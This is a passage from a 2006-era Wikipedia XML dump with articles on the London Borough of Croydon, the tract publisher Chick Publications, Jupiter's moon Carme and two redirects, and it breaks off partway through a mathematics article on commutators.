The London Borough of Croydon was fomed in [[1965]] from [[Coulsdon and Purley Urban District]] and the [[County Borough of Croydon]]. It is now governed by a [[cabinet-style council]] created in [[2001]]. 

Croydon unsuccessfully applied for [[City status in the United Kingdom|city status]] in [[2000]] and again in [[2002]]. If successful, it would be the third local authority in [[Greater London]] to hold that status.

==Croydon Council==

The council consists of 70 elected councillors across 24 wards. Since the [[2002]] local elections, the [[Labour Party (UK)|Labour Party]] has controlled the Council with 37 councillors. The [[Conservative Party (UK)|Conservative Party]] has 31 seats and there are two [[Liberal Democrats (UK)|Liberal Democrat]] councillors, one of whom was originally elected as a Conservative. The next elections are to be held in May [[2006]].

Since February 2005, the Leader of Croydon Council has been Labour Councillor [[Tony Newman]], replacing [[Hugh Malyan]]. As a [[cabinet-style council]], the Leader heads a ten person cabinet, responsible for areas such as education or planning. There is a Shadow Cabinet drawn from the Conservative Party, whose leader is Councillor [[Mike Fisher]] since May 2005. A backbench, cross-party scrutiny and overview committee is in place to hold the executive cabinet to account.
[[Image:Arms-croydon-lb.jpg|thumb|200px|Arms of Croydon London Borough Council]]
Some 10,000 people work directly or indirectly for the council, in its main offices in [[Taberner House]] or in its schools, care homes, housing offices or work depots. The council is generally well-regarded, having made important improvements in education and social services. However, there have been concerns over benefits, leisure services and waste collection. Although the council has one of London's lower rates of council tax, there are inevitable claims that it is too high and that resources are wasted.

The London Borough of Croydon is [[town twinning|twinned]] with [[Arnhem]] in the [[Netherlands]]. There is also the [[Guyana]] link supported by the council.

The [[Mayors in the United Kingdom|Mayor of Croydon]] for 2005 to [[2006]] is Councillor [[Maggie Mansell]].

===History===
:''See also [[Croydon local elections]]''

For much of its history, Croydon Council was controlled by the Conservative Party or conservative-leaning independents. The Labour Party became the majority party in [[1994]]. 

Former Croydon councillors include [[Geraint Davies]] MP, [[London Assembly]] member [[Valerie Shawcross]], [[Peter Spencer Bowness|Lord Peter Bowness]], [[Reg Prentice]]  and [[H.T. Muggeridge]], father of [[Malcolm Muggeridge]]. The first Mayor of the newly-created [[London Borough]] was [[Jabez Balfour]], later a disgraced [[Member of Parliament]]. Current Conservative Director of Operations, [[Gavin Barwell]], has been a Croydon councillor since [[1998]].

===Croydon Town Hall===

Croydon Town Hall is found on Katharine Street in central Croydon and houses the committee rooms, the mayor and other councillors' offices, electoral services and the arts and heritage services.
[[Image:CroydonTownHall.jpg|right|thumb|Croydon's Victorian Town Hall|250px]]
The present Town Hall is Croydon's third. The first town hall is thought to have been built in either [[1566]] or [[1609]]. The second was built in [[1808]] to serve the growing town but was demolished after the present town hall was erected in [[1895]].
The present town hall was designed by local architect [[Charles Henman]] and was officially opened by the Prince and [[Queen Alexandra|Princess of Wales]] on [[19 May]] [[1896]]. It was constructed in red brick, sourced from [[Wrotham]] in [[Kent]], with [[Portland Stone]] dressings and green [[Westmoreland]] [[slate]]s for the roof. It also housed the court and most central council employees. 

Parts, including the former court rooms, have been converted for museum and exhibition galleries. The original public library is now a cinema, part of the [[Croydon Clocktower]]. The Braithwaite Hall is used for events and performances. The town hall was renovated in the mid-1990s and the imposing central staircase, long closed to the public and kept for councillors only, was re-opened in 1994. The civic complex, meanwhile, was substantially added to, with buildings across Mint Walk and the 19-floor Taberner House to house the rapidly expanding corporation's employees.

===Taberner House===
[[Image:CroydonTabHouse.jpg|right|thumb|Croydon Council's Taberner House offices|200px]]
Taberner House was built between 1964 and 1967, designed by the architect H Thornley, with Allan Holt and Hugh Lea as borough engineers. Although the council had needed extra space since the 1920s, it was only with the imminent creation of the London Borough of Croydon that action was taken. The building is in classic [[1960s]] style, praised at the time but subsequently much derided. It has its elegant upper slab block narrowing towards both ends, a formal device which has been compared to the famous [[Pirelli Building]] of [[Milan]]. It was named after Ernest Taberner OBE, Town Clerk from 1937 to 1963. 

Taberner House now houses most of the council's central employees and its 'one-stop shop' is the main location for the public to access information and services, particularly with respect to housing.

=== Leading figures ===

* Leader - Cllr Tony Newman
* Deputy Leader - Cllr Paula Shaw
* Chief Executive - David Wechsler

== Districts ==

The borough includes the following areas:
[[Image:Purley Council Office.jpg|right|200px|thumb|The offices of the now-defunct Coulsdon and Purley Urban District Council]]
*[[Addington, London, England|Addington]]
*[[Addiscombe]]
*[[Broad Green]]
*[[Coombe, Croydon|Coombe]] 
*[[Coulsdon]]
*[[Croydon]] - the principal area
*[[Forestdale, Croydon|Forestdale]]
*[[Hamsey Green]]
*[[Kenley]]
*[[New Addington]]
*[[Norbury]]
*[[Purley, London|Purley]]
*[[Sanderstead]]
*[[Selhurst]]
*[[Selsdon]]
*[[Shirley, London, England|Shirley]]
*[[South Croydon]]
*[[South Norwood]]
*[[Thornton Heath]]
*[[Upper Norwood]]
*[[Waddon]]
*[[West Croydon]]
*[[Woodcote]]
*[[Woodside, London|Woodside]]

==Railway stations==
Stations in [[Croydon]]:
*[[East Croydon station|East Croydon]]
*[[South Croydon railway station|South Croydon]]
*[[West Croydon station|West Croydon]]

There are thirteen other railway stations within the borough boundaries. In alphabetical order they are:
* [[Coulsdon South railway station|Coulsdon South]]
* [[Kenley railway station|Kenley]]
* [[Norbury railway station|Norbury]]
* [[Norwood Junction railway station|Norwood Junction]]
* [[Purley railway station|Purley]]
* [[Purley Oaks railway station|Purley Oaks]]
* [[Reedham railway station (London)|Reedham]]
* [[Riddlesdown railway station|Riddlesdown]]
* [[Sanderstead railway station|Sanderstead]]
* [[Selhurst railway station|Selhurst]]
* [[Smitham railway station|Smitham]]
* [[Thornton Heath railway station|Thornton Heath]]
* [[Waddon railway station|Waddon]]
* [[Woodmansterne railway station|Woodmansterne]]

== Individuals associated with the Borough of Croydon ==
The following people have an association with Croydon:-
&lt;!-- Unsourced image removed: [[Image:Ruskin House.jpg|right|275px|thumb|Ruskin House of Croydon, named in honour of local figure, John Ruskin]] --&gt;

* [[Archbishop of Canterbury]] [[John Whitgift]] (ca. [[1530]]–[[1604]]), is buried in the parish church of  St. John the Baptist, Croydon. Several other Archbishops are buried in the Parish Church or St Mary's in [[Addington, London, England|Addington]].
* Art critic and social theorist [[John Ruskin]] ([[1819]]–[[1900]]) spent much of childhood in Croydon at his mother's family home and visited often as an adult. His parents are buried in [[Shirley, London|Shirley]].
* [[John Horniman]] ([[1803]]–[[1893]]) and [[Frederick John Horniman]] ([[1835]]–[[1906]]), tea merchants, collectors and public benefactors, lived at Coombe Cliff, Coombe Road, Croydon 
* Naturalist [[Alfred Russel Wallace]] ([[1823]]–[[1913]]), lived at 44 St Peter's Road, Croydon. He independently proposed a theory of evolution by natural selection and prompted [[Charles Darwin]] to reveal his own unpublished theory sooner than he had intended.
* Actor and dramatist [[Miles Malleson]] ([[1888]]–[[1969]]), was born in Croydon.
* French [[novel]]ist [[Émile Zola]] ([[1840]]–[[1902]]) lived at The Queen's Hotel, 122 Church Road, [[Upper Norwood]] between 1898-1899.
* [[William Ford Robertson Stanley]] ([[1829]]–[[1909]]), inventor, collector,  manufacturer scientific instruments  and philanthropist, lived in Croydon, and founded and designed the halls and technical school known as Stanley Halls, 12 South Norwood Hill, [[South Norwood]].
* Sir [[Arthur Conan Doyle]] ([[1859]]–[[1930]]) author and creator of [[Sherlock Holmes]], lived at 12 Tennison Road, [[South Norwood]] between [[1891]] and [[1894]]. 
* Author [[D.H. Lawrence]] ([[1885]]–[[1930]]) lived at 12 Colworth Road, [[Addiscombe]], [[1908]] to [[1912]], whilst a teacher at Davidson Road School.
* Composer [[Samuel Coleridge Taylor]] ([[1875]]–[[1912]]), lived at 30 Dagnall Park, [[Selhurst]].
* Comic actor [[Will Hay]] ([[1888]]–[[1949]]), lived at 45 The Chase, [[Norbury]] between [[1927]] and [[1934]].
* Illustrator and artist [[Cicely Mary Barker]] ([[1895]]–[[1973]]), who created the famous Flower Fairies books, was born in Croydon and lived locally. She studied at the Croydon School of Art.
* Film director Sir [[David Lean]] ([[1908]]–[[1991]]), was born in Croydon on [[25 March]][[1908]].
* Actress Dame [[Peggy Ashcroft]] ([[1907]]–[[1991]]), was born in Croydon and lived in George Street as a child. She is honoured in the naming of the Ashcroft Theatre, part of the [[Fairfield Halls]].
* Comedian [[Roy Hudd]] was born in Croydon in [[1936]].
* Electrical engineer and inventor of the [[Teleprinter]] [[Frederick George Creed]] ([[1871]]–[[1957]]), lived and died at 20 Outram Road, [[Addiscombe]].
* Pop star [[Adam Ant]] is from Croydon.
* The original members of rock group [[The Damned]] grew up in Croydon. 
* Supermodel [[Kate Moss]] was born in Croydon on [[16 January]] [[1974]].
* Comedian [[Ronnie Corbett]] lives in [[Shirley, London|Shirley]].
* [[Wilfred Wood (bishop)|Wilfred Wood]] served as [[Bishop of Croydon]] from [[1985]] to [[2002]], the first black [[Church of England]] bishop.
* Former [[Arsenal F.C.|Arsenal]] footballer [[Ian Wright]] [[Member of the Order of the British Empire|MBE]] lives in [[Shirley, London|Shirley]].
* [[Feroz Abbasi]], arrested in [[Afghanistan]] in [[2001]] and detained at [[Guantanamo Bay]], lived in Shirley and attended school in Croydon.

== See also ==
* [[Addington Palace]]
* [[Lunar House]]
* [[UK postcodes#Croydon, CR0|UK postcodes]] — a note of why and how postcodes CR0 and CR9 differ from the others.
* [[Ruskin House]]
* [[Tramlink]]
* [[Woodside and South Croydon Railway]]
* [[Croydon parks and open spaces]]
* [[Croydon Airport]]

== External links ==
* [http://www.croydonguardian.co.uk/news/ Croydon Guardian Local News page]
* [http://www.croydonguardian.co.uk/heritage/croyheritage/ Croydon Guardian Heritage pages]
* [http://www.croydonsociety.org.uk/ The Croydon Society Site site]
* [http://www.croydon-lcc.org.uk/ Croydon Cycling Campaign site]
* [http://www.bourne-society.org.uk/page_navigation.htm The Bourne Society] take an interest in the Southern part of the borough and have fixed their own [[blue plaque]]s on a number of buildings there.
* [http://www.croydon-parish-church.org.uk/ Croydon Parish Church]

{{London}}

[[Category:Croydon|*]]
[[Category:Districts of London|Croydon, London Borough of]]

[[cs:Croydon (londýnský obvod)]]
[[de:London Borough of Croydon]]
[[fr:London Borough de Croydon]]
[[no:Croydon]]
[[ro:Croydon (burg)]]
[[sv:Croydon]]</text>
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  </page>
  <page>
    <title>Chick Publications</title>
    <id>7187</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41787745</id>
      <timestamp>2006-03-01T19:26:20Z</timestamp>
      <contributor>
        <username>Guanaco</username>
        <id>47960</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/148.241.73.208|148.241.73.208]] ([[User talk:148.241.73.208|talk]]) to last version by Calair</comment>
      <text xml:space="preserve">'''Chick Publications''' is an American publishing company run by [[Jack Chick]] which produces and markets religious pamphlets, [[DVD]]s, [[Video CD|VCDs]], [[video]]s, [[book]]s, a [[poster]], and (most famously) comic [[tract]]s in many languages.  The publications promote and seek to win converts to a [[Fundamentalist Christianity|Protestant fundamentalist]] view. While some express views that are generally accepted within [[Christianity | Christian]] theology, e.g.[http://www.chick.com/reading/tracts/0039/0039_01.asp], Chick is most famous for his publications on issues that are highly controversial even within Christianity, such as [[Occult]]ism, [[Freemasonry]] [http://www.chick.com/information/religions/masonry], [[Catholicism]] [http://www.chick.com/information/religions/catholicism], [[Islam]] [http://www.chick.com/information/religions/islam], [[abortion]], and [[homosexuality]], which many fundamentalist American Protestant Christians believe are sinful &amp;mdash; together with more mundane activities such as [[role-playing game]]s and [[popular music]]. Defenders of the comics assert all his comics carry the same message &amp;mdash; that of salvation through [[Jesus]]. 

==Overview==
[[Image:This was your life Chick Tract.jpg|thumb|right|The most popular tract from Chick Publications is just one of hundreds of Christian tracts they have published]]
The graphics in Chick's tracts are often simple, but striking. Some Christians consider them to be valuable witnessing tools, due to the striking nature of the cartoons and their clear-cut messages. Indeed, many cartoon tracts appear to be designed to appeal mainly to children. Their superficially unsophisticated graphic style, their [[kitsch]] nature, scare tactics, and dogmatic messages also make them popular with non-fundamentalists, who find them amusing; the tracts were popularized among this audience through ''[[High Weirdness By Mail]]'', a publication of the satiric [[Church of the SubGenius]].

Chick Publications also publishes conventional non-graphical books on these same topics, by authors other than Chick. Many of these are also used as sources for Chick's tracts; notable sources include [[Alberto Rivera]], [[Rebecca Brown]], [[Jeff Godwin]], [[Kent Hovind]], [[Charles Chiniquy]], [[William Schnoebelen]], [[John Todd (evangelist)|John Todd]], [[Avro Manhattan]], and [[Alexander Hislop]].

While Chick's tracts are handed out directly (for instance, he encourages Christians to give out anti-[[Halloween]] tracts along with Halloween candy[http://www.chick.com/seasonal/halloween/default.asp?FROM=Tracttips]), they are often distributed by leaving them in places where they will be found and read, an appealing witnessing tool for shy Christians[http://www.chick.com/bc/1996/witnessingideas.asp]. This strategy is intended to reach those who are hostile to [[evangelism|evangelists]] and unlikely to accept an offered tract, by appealing instead to their curiosity. [http://www.chick.com/bc/1996/witnessingideas.asp].  Chick Publication's website claims that many people have been converted by encountering Chick Publication's comic tracts[http://www.chick.com/articles/testimonies/]. 

The company's web site [http://www.chick.com/catalog/tractlist.asp] lists more than 150 comic tracts; all of them can be viewed online, but other materials can generally only be sampled. The site states that several hundred million tracts have been distributed world wide, with some of them translated into almost 100 languages. 

Copies of Chick's tracts are displayed in the [[Smithsonian Institution]] as a part of American culture.

== Claims by Chick Publications ==
{{main|Claims by Chick Publications}}
Chick's tracts and other publications make many controversial claims. Some are typical of conservative Protestant beliefs &amp;mdash; for instance, Chick claims that [[evolution]] is a fraud [http://www.chick.com/reading/tracts/0055/0055_01.asp], [[homosexuality]] is sinful [http://www.chick.com/reading/tracts/5003/5003_01.asp], and [[abortion]] is murder [http://www.chick.com/reading/tracts/1009/1009_01.asp]. Others are controversial even within conservative Protestantism.

In particular, Chick's tracts make frequent reference to a vast [[Satanism|Satanic]] conspiracy controlling many of the world's organisations and institutions. Religions other than fundamentalist Protestantism are generally presented as instruments of Satanism; Chick claims that the [[King James Version of the Bible]] is the only recorded word of God, and all other editions are corrupt[http://www.chick.com/information/bibleversions]. [[Christian ecumenism]] is rejected as a ploy to corrupt true Christianity by encouraging acceptance of corrupted beliefs.

=== Catholicism ===
A recurring theme in Chick's tracts is the role of the [[Roman Catholic Church]], which he presents as one of the most powerful and insidious branches of this conspiracy. According to Chick the Catholic Church is the 'Great Whore' referred to in the [[Book of Revelation]], and will bring about a Satanic [[New World Order (conspiracy)|New World Order]] [http://www.chick.com/reading/tracts/0094/0094_01.asp][http://www.chick.com/reading/tracts/0030/0030_01.asp] before it is destroyed by Jesus Christ. 

Drawing on the dubious claims of [[Alberto Rivera]], Chick claims that the Catholic Church helped to mold [[Islam]] as a tool to lure people away from Christianity [http://www.chick.com/reading/tracts/0062/0062_01.asp], that it infiltrates and attempts to destroy or corrupt all other religions and churches [http://www.chick.com/reading/comics/0112/0112_fourpages.asp?PG=17], and that it uses various means including seduction, framing, and murder to silence its critics [http://www.chick.com/reading/comics/0112/0112_fourpages.asp?pg=21]. He accuses Catholicism of supporting ideologies such as [[Nazi]]sm and [[Communism]], and using the [[Holocaust]] to persecute opponents of the Catholic Church [http://www.chick.com/bc/1989/holocaustorinquisition.asp?FROM=Catholicpage][http://www.chick.com/reading/books/153/153_06.asp].

=== Occultism ===
Various forms of [[occult]]ism are also presented as part of a Satanic conspiracy. Most forms of [[fantasy]] and presentations of [[magic (paranormal)|magic]] &amp;mdash; including [[Harry Potter]] [http://www.chick.com/reading/tracts/5012/5012_01.asp], [[Dungeons and Dragons]] [http://www.chick.com/reading/tracts/0046/0046_01.asp], and [[Halloween]] celebrations [http://www.chick.com/reading/tracts/0011/0011_01.asp] &amp;mdash; are portrayed as an attempt to draw children into [[Witchcraft]], represented as a tool of Satan.

==Criticisms of Chick Publications==
Some people consider the claims made by Chick's publications &amp;ndash; and especially the cartoon tracts &amp;ndash; to be offensive and even absurd. All of these claims are found in other Christian publications, but the tracts' blunt - many would say threatening and inflammatory- language and wide distribution make them particularly prominent as targets for criticism.

His critics also accuse Chick of misrepresentation &amp;mdash; for instance, Chick's tract [http://www.chick.com/reading/tracts/0055/0055_01.asp Big Daddy] accuses evolutionary scientists of circular reasoning in dating geological strata by the fossils they contain, with nothing in the tract to inform its readers that the usual technique is in fact [[radiometric dating]]. (This technique is mentioned elsewhere on Chick's site[http://www.chick.com/bc/1987/evolution.asp], but not in that tract.)

Chick's claims about Catholic, Masonic, Satanic, etc., conspiracies are based in large part on the testimony of people who claim to have been members of these groups before converting to [[Evangelicalism|Evangelical]] Christianity, most prominently Rivera and Schnoebelen. Many of Chick's critics consider these sources to be frauds or fantasists, yet many Christian supporters acknowledge these claims as legitimate. Further discussion of these controversies may be found in the articles on [[Alberto Rivera]], [[William Schnoebelen]], and [[John Todd (evangelist)|John Todd]].

Many Christians, including many mainstream [[Protestant]]s and [[Evangelicalism|evangelical]]s, consider Chick Publications' views to be misrepresentations or distortions of general Christian or evangelical views, and as such find them offensive and embarrassing. Among other issues, many Protestants reject Chick's [[King-James-Only Movement|King James Only]] stance and hence do not support those of Chick's assertions that rely on the King James Version being the only 'true Bible'.

==Response to criticisms of Chick Publications==
Many [[fundamentalist]] Protestants, both past [http://www.aloha.net/~mikesch/gesu.htm] and present, agree with at least some of Chick Publications's more controversial claims [http://www.chick.com/information/general/statementoffaith.asp]. Some reject Chick's Roman Catholic conspiracy theories but accept other claims promoted in his tracts (e.g. 'turn or burn'), and so offer qualified agreement with Chick's beliefs. Some anti-[[cult]] organizations view Chick's website and publications as a valuable source of material on groups they see as cults[http://www.missionresources.com/cult.html]. 

Jack Chick claims that cartoons are a more effective medium for witnessing than conventional text based tracts. Some of the characteristics often seen as failings of his tracts - for instance, their simplistic messages - can also be viewed as strengths, making them more appealing to readers who are unsympathetic to more conventional forms of evangelism. There seems to be an interest in reading Chick Publications's cartoon tracts among those who would never hold his views, making them an effective medium for transmitting the [[Gospel]]. Chick Publications are used by [[apologetics]] ministries [http://www.spreadhisword.org/jil/] and for [[witness|witnessing]]. 

Chick's more controversial claims are usually accompanied by supporting references to the [[Bible]], other books (often also published by Chick), and historical facts; debate commonly focuses on the reliability of these sources and of Chick's representation of them.

Some Christians have suggested that several of his theories have been substantiated by [[United Nations]] world policies and current political and social climates in this new [[millennium]]. This is motivated by their [[religious right]] views and adherence to [[dispensationalism]], leading them to view the UN as part of a conspiracy leading to one-world government under an anti-Christ, based on a literal interpretation of Revelation 13. 

Some Christians see Jack Chick as persecuted, and claim (drawing on Biblical passages) that persecution is a sign of legitimacy. Chick claims that many threats have been made on his life because of the revealing nature of his writings.

==Notable tracts==

:''Main article: [[Chick Publications tracts]]''

A number of Chick Publications are well-known.  ''Dark Dungeons'', which claims that [[Dungeons and Dragons]] is a lure for Satanism, is famous for inspiring many parodies.  ''This Was Your Life'' is about a man who is judged by God and is sent to [[Hell]].  The tracts ''Somebody Loves Me'' and ''Trust Me'' are mainly visual, with few words.  ''The King of Kings'' tells major Bible stories in comic form.

== See also ==
*[[Claims by Chick Publications]]
*[[King-James-Only Movement]]
*[[Catholic Bible Contradictions]]

== External links ==
===Chick Publications===
* [http://www.chick.com The official website of Chick Publications]
===Negative===
* [http://www.catholic.com/library/sr_chick_tracts_p5.asp Catholic Answers] a serious and detailed response to the claims of Chick Publications against Roman Catholics
* [http://www.bismikaallahuma.org/index.php/articles/the-mysterious-statue-at-hazor-the-allah-of-the-muslims Muslim Response To Jack Chick]
* [http://www.positiveatheism.org/mail/eml8960.htm Is Jack Chick Satirizing His Own Followers?]
* [http://tricktracts.skatoolaki.com/ Trick Tracts]
* [http://www.jhuger.com/tract/dtr/index.php Dead to Rights], a famous Chick tract parody. 
* [http://dmoz.org/Society/Religion_and_Spirituality/Opposing_Views/Christianity/Evangelists/Jack_Chick/ Category at Open Directory Project]
* [http://www.religioustolerance.org/hallo_ev3.htm A report that suggests that Chick Publications spreads misinformation about Halloween]

===Positive===
* [http://www.jesus-is-lord.com/chick.htm Jack Chick] a testimony from someone who claims to be saved by Jack Chick's cartoon tracts
* [http://members.aol.com/monsterwax/chick.html Jack T. Chick Museum of Fine Art]
* [http://www.tractministry.com/wordless_tracts.html World Christian Tract Ministry] a ministry that supports distribution of Jack Chick's tracts
* [http://www.born-again-christian.info/tracts.htm Born Again Christian Info] positive summaries of the cartoon tracts
* [http://www.faithdefenders.com/about/cc.html Faith Defenders] books are offered for sale from Chick Publications and an anti-muslim point of view is expressed
* [http://members.aol.com/christiancomics1/Chick.html Christian Comics Pioneer] a positive discussion of the comics is offered
* [http://www.kjv1611.org/whatsnew/light_of_the_world.htm review of Light of the World] review of one of Chick publication's most popular DVDs
* [http://www.cuttingedge.org/ Cutting Edge]
* [http://members.tripod.com/monsterwax/battlecry.html Decades of Battle Cry Newpaper headlines]
* [http://www.beliefnet.com/story/33/story_3388_1.html explains Jack Chick's motivations]
* [http://www.chickgeneration.com/ Chick Generation]

===Parody===
* [http://www.svamcentral.org/chick/ Tower of Lies]
* [http://www.epsilonminus.com/darquedungeon/ Darque Dungeon]
* [http://www.weirdcrap.com/chick/intro.html Various Chick Tract Parodies]
* [http://www.jhuger.com/tract/tyd/ This is Your Death]
* [http://www.jhuger.com/tract/dtr/ Dead to Rights]
* [http://rapidshare.de/files/1818940/Play_-_This_Was_Your_Life.mp3.html/ This Was Your Life: an audio play by the Glorified, Sanctified, Amplified Players]
* [http://www.hellboundalleee.com/oldarchive.html#Eplays/ More Chick Parody audio Plays]
* [http://home.flash.net/~manfre/miscellany/devildoll.html Devil Doll] by comic artist Daniel Clowes
* [http://www.planetadnd.com/humor/DD-MST3K/?file=dd-mst3k.php MST3k Dark Dungeons]
* [http://www.lizardcomics.com/d/20031106.html Lizard webcomic]

[[Category:Anti-Catholicism]]
[[Category:Book publishing companies of the United States]]
[[Category:Christian fundamentalism|Chick]]
[[Category:Christian media companies]]
[[Category:Comic book publishing companies]]
[[Category:King-James-Only Movement]]

[[eo:Eldonejo Chick]]</text>
    </revision>
  </page>
  <page>
    <title>Carme (moon)</title>
    <id>7188</id>
    <revision>
      <id>36683167</id>
      <timestamp>2006-01-25T20:03:57Z</timestamp>
      <contributor>
        <username>Kwamikagami</username>
        <id>93143</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; align=&quot;right&quot;
|+'''Carme'''
|-
! bgcolor=&quot;#ffc0c0&quot; colspan=&quot;2&quot; | Discovery
|-
! align=&quot;left&quot; | Discovered by
| [[Seth Barnes Nicholson|S. B. Nicholson]]
|-
! align=&quot;left&quot; | Discovered in
| [[July 30]], [[1938]]
|-
! bgcolor=&quot;#ffc0c0&quot; colspan=&quot;2&quot; | [[Orbit]]al characteristics
|-
! align=&quot;left&quot; | Mean [[radius]]
| 23,734,465 [[kilometer|km]] (0.15866 [[astronomical unit|AU]])
|-
! align=&quot;left&quot; | [[Eccentricity (orbit)|Eccentricity]]
| 0.3122
|-
! align=&quot;left&quot; | [[Periapsis]]
| 16,324,700 [[kilometer|km]] (0.109 AU)
|-
! align=&quot;left&quot; | [[Apoapsis]]
| 31,144,200 [[kilometer|km]] (0.208 AU)
|-
! align=&quot;left&quot; | [[Orbital period]]
| 747.008062 d (2.045 [[year|a]])
|-
! align=&quot;left&quot; | Orbital [[circumference]]
| 145,425,000 [[kilometer|km]] (0.972 AU)
|-
! align=&quot;left&quot; | Orbital [[velocity]]
| max: 3.191 km/s&lt;br/&gt;mean: 2.253 km/s&lt;br/&gt;min: 1.673 km/s
|-
! align=&quot;left&quot; | [[Inclination]]
| 165.54° (to the [[ecliptic]])&lt;br/&gt;120.66° (to Jupiter's equator)
|-
! align=&quot;left&quot; | Is a [[natural satellite|satellite]] of
| [[Jupiter (planet)|Jupiter]]
|-
! bgcolor=&quot;#ffc0c0&quot; colspan=&quot;2&quot; | Physical characteristics
|-
! align=&quot;left&quot; | Mean [[diameter]]
| 46 km
|-
! align=&quot;left&quot; | Surface [[area]]
| ~6600 [[square kilometer|km&lt;sup&gt;2&lt;/sup&gt;]]
|-
! align=&quot;left&quot; | [[Volume]]
| ~51,000 [[cubic kilometer|km&lt;sup&gt;3&lt;/sup&gt;]]
|-
! align=&quot;left&quot; | [[Mass]]
| 1.3{{e|17}} [[kilogram|kg]]
|-
! align=&quot;left&quot; | Mean [[density]]
| 2.6 g/cm&lt;sup&gt;3&lt;/sup&gt;
|-
! align=&quot;left&quot; | Surface [[gravity]]
| ~0.017 [[Acceleration|m/s&lt;sup&gt;2&lt;/sup&gt;]] (0.0017 ''g'')
|-
! align=&quot;left&quot; | [[Escape velocity]]
| ~0.028 km/s
|-
! align=&quot;left&quot; | Rotation period
| ?
|-
! align=&quot;left&quot; | [[Axial tilt]]
| ?°
|-
! align=&quot;left&quot; | [[Albedo]]
| 0.04
|-
! align=&quot;left&quot; | Surface [[Temperature|temp.]]
| 
{| cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; border=&quot;0&quot;
|-
! min !! mean !! max
|-
| K
| ~124 K
| K
|}
|-
! align=&quot;left&quot; | [[Atmospheric pressure]]
| 0 [[Pascal|kPa]]
|}
'''Carme''' ''(kar'-mee,'' {{IPA2|ˈkɑrmi}}; Greek ''Κάρμη)'' is one of [[Jupiter (planet)|Jupiter]]'s moons. It was discovered by [[Seth Barnes Nicholson]] at [[Mount Wilson Observatory]] in  [[California]] in July [[1938]]. It is named after the mythological [[Carme (mythology)|Carme]], mother by [[Zeus]] of [[Britomartis]], a [[Crete|Cretan]] goddess.

Carme did not receive its present name until [[1975]]; before then, it was simply known as '''Jupiter&amp;nbsp;XI'''. It was sometimes called &quot;[[Pan (mythology)|Pan]]&quot;. Note that [[Pan (moon)|Pan]] is now the name of a satellite of [[Saturn (planet)|Saturn]].

It gives its name to the [[Carme group]], made up of irregular retrograde moons orbiting Jupiter at a distance ranging between 23 and 24 Gm and at an inclination of about 165°.

This moon should not be confused with the [[asteroid]] [[558 Carmen]].

==External links==
* [http://adsabs.harvard.edu//full/seri/PASP./0050//0000292.000.html Seth B. Nicholson, &quot;Two new satellites of Jupiter&quot;, PASP '''50''' (1938) 292&amp;ndash;293]
&lt;br clear=&quot;all&quot;&gt;
&lt;center&gt;''... | [[Arche (moon)|Arche]] | '''Carme''' | [[Isonoe (moon)|Isonoe]] | ...''&lt;/center&gt;

{{Jupiter_Footer}}

[[Category:Jupiter's moons]]

[[als:Carme (Mond)]]
[[bg:Карме (спътник)]]
[[bs:Karma]]
[[ca:Carme (satèl·lit)]]
[[da:Carme (måne)]]
[[de:Carme (Mond)]]
[[fr:Carmé (lune)]]
[[hr:Carme (mjesec)]]
[[nl:Carme (maan)]]
[[ja:カルメ (衛星)]]
[[nn:Jupitermånen Carme]]
[[sk:Carme (mesiac)]]
[[sr:Карме]]
[[sv:Carme]]
[[zh:木卫十一]]</text>
    </revision>
  </page>
  <page>
    <title>Commedia del arte</title>
    <id>7189</id>
    <revision>
      <id>15905267</id>
      <timestamp>2002-08-23T03:05:41Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>fixing a redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Commedia dell'arte]]</text>
    </revision>
  </page>
  <page>
    <title>Compton Effect</title>
    <id>7190</id>
    <revision>
      <id>15905268</id>
      <timestamp>2005-05-30T15:15:07Z</timestamp>
      <contributor>
        <username>Eleassar777</username>
        <id>173332</id>
      </contributor>
      <minor />
      <comment>redirect fixed</comment>
      <text xml:space="preserve">#REDIRECT [[compton scattering]]</text>
    </revision>
  </page>
  <page>
    <title>Commutator</title>
    <id>7193</id>
    <revision>
      <id>41126267</id>
      <timestamp>2006-02-25T05:24:26Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <comment>[[Category:Binary operations]]</comment>
      <text xml:space="preserve">:''For an electrical switch that [[periodic function|periodic]]ally reverses the current see [[commutator (electric)]]''

In [[mathematics]], the '''commutator''' gives an indication of how poorly a certain [[binary operation]] fails to be [[commutative]]. There are different definitions used in [[group theory]] and [[ring theory]].

==Group theory==

The '''commutator''' of two elements ''g'' and ''h'' of a [[group (mathematics)|group]] ''G'' is the element
:[''g'', ''h''] = ''g''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;''h''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;''gh''
It is equal to the group's identity if and only if ''g'' and ''h'' commute (i.e. if and only if ''gh'' = ''hg''). The [[subgroup]] generated by all commutators is called the [[derived group]] or the ''commutator subgroup'' of ''G''. Note that one must consider the subgroup generated by the set of commutators because in general the set of commutators is not closed under the group operation. Commutators are used to define [[nilpotent group]]s.

N.B. Some authors choose to define the commutator as
:[''g'', ''h''] = ''ghg''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;''h''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;

===Identities===

In the sequel the expression ''a&lt;sup&gt;x&lt;/sup&gt;'' denotes the conjugated (by ''x'') element ''x&lt;sup&gt;&amp;minus;1&lt;/sup&gt;a x''.

* &lt;nowiki&gt;[y,x] = [x,y]&lt;/nowiki&gt; &lt;sup&gt;&amp;minus;1&lt;/sup&gt; 
* &lt;nowiki&gt;[[x,y&lt;/nowiki&gt;&lt;sup&gt;&amp;minus;1&lt;/sup&gt;&lt;nowiki&gt;],z]&lt;/nowiki&gt; &lt;sup&gt;y&lt;/sup&gt; &lt;nowiki&gt;[[&lt;/nowiki&gt;y,z&lt;sup&gt;&amp;minus;1&lt;/sup&gt;&lt;nowiki&gt;],x] &lt;/nowiki&gt;&lt;sup&gt;z&lt;/sup&gt; &lt;nowiki&gt;[[&lt;/nowiki&gt;z,x&lt;sup&gt;&amp;minus;1&lt;/sup&gt;&lt;nowiki&gt;],y]&lt;/nowiki&gt;&lt;sup&gt;x&lt;/sup&gt; = 1 
